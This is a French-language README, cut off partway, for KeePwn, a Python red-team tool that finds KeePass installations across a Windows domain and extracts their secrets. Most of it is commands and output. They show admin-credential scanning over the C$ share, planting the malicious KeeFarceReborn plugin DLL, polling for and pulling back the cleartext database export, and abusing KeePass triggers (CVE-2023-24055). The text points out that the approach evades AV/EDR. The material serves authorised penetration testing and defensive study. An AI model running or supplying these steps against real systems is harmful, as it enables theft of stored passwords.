
Un outil Python pour automatiser la découverte de KeePass et l'extraction de secrets.

Un script Python pour aider les red teamers à découvrir les instances KeePass et extraire des secrets.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Ou si vous ne voulez pas installer mais simplement exécuter dans un environnement virtuel :
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Le module search de KeePwn est utilisé pour identifier les hôtes exécutant KeePass dans votre environnement cible :
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Il utilise le partage C$ intégré d'Active Directory pour rechercher des fichiers liés à KeePass dans les emplacements par défaut, nécessitant donc des privilèges d'administrateur sur les cibles.
Le module recherchera d'abord le fichier de configuration KeePass.config.xml dans le dossier %APPDATA%\KeePass de chaque utilisateur, ainsi que KeePass.exe dans son chemin d'installation par défaut (C:\Program Files\KeePass Password Safe 2). Si un fichier de configuration est trouvé mais que KeePass n'est pas installé globalement, KeePwn recherchera les installations portables jusqu'à --max-depth sous-dossiers.
Cette technique de recherche de base devrait suffire pour déterminer avec précision si KeePass est utilisé sur un poste de travail ou non. De plus, l'option --get-process utilisera l'implémentation RPC d'Impacket pour déterminer si KeePass est actuellement en cours d'exécution sur la cible.
Diverses options de confort sont également incluses pour vous permettre d'exporter les résultats de recherche vers un fichier CSV, d'afficher uniquement les cibles où KeePass est trouvé et d'ajuster le nombre de threads parallèles :
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
KeePass dispose d'un framework de plugins qui peut être abusé pour charger des DLL malveillantes dans le processus KeePass, permettant aux attaquants disposant de droits d'administrateur d'exporter facilement la base de données (voir : KeeFarceRebornPlugin).
Le module plugin de KeePwn permet de :
Lister les plugins actuellement installés et énumérer le cache de plugins
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Ajouter et supprimer vos plugins malveillants
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Interroger %APPDATA% pour les exports et les déplacer automatiquement de l'hôte distant vers le système de fichiers local
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Ces actions sont effectuées via l'accès au partage SMB C$, limitant la détection par AV/EDR car aucune exécution de commande n'est effectuée.
Comme décrit dans l'article de blog de @harmj0y (et plus tard CVE-2023-24055), le système de déclencheurs de KeePass peut être abusé pour exporter la base de données en clair.
Le module trigger de KeePwn permet de :
Vérifier si un déclencheur malveillant nommé "export" est actuellement écrit dans la configuration KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL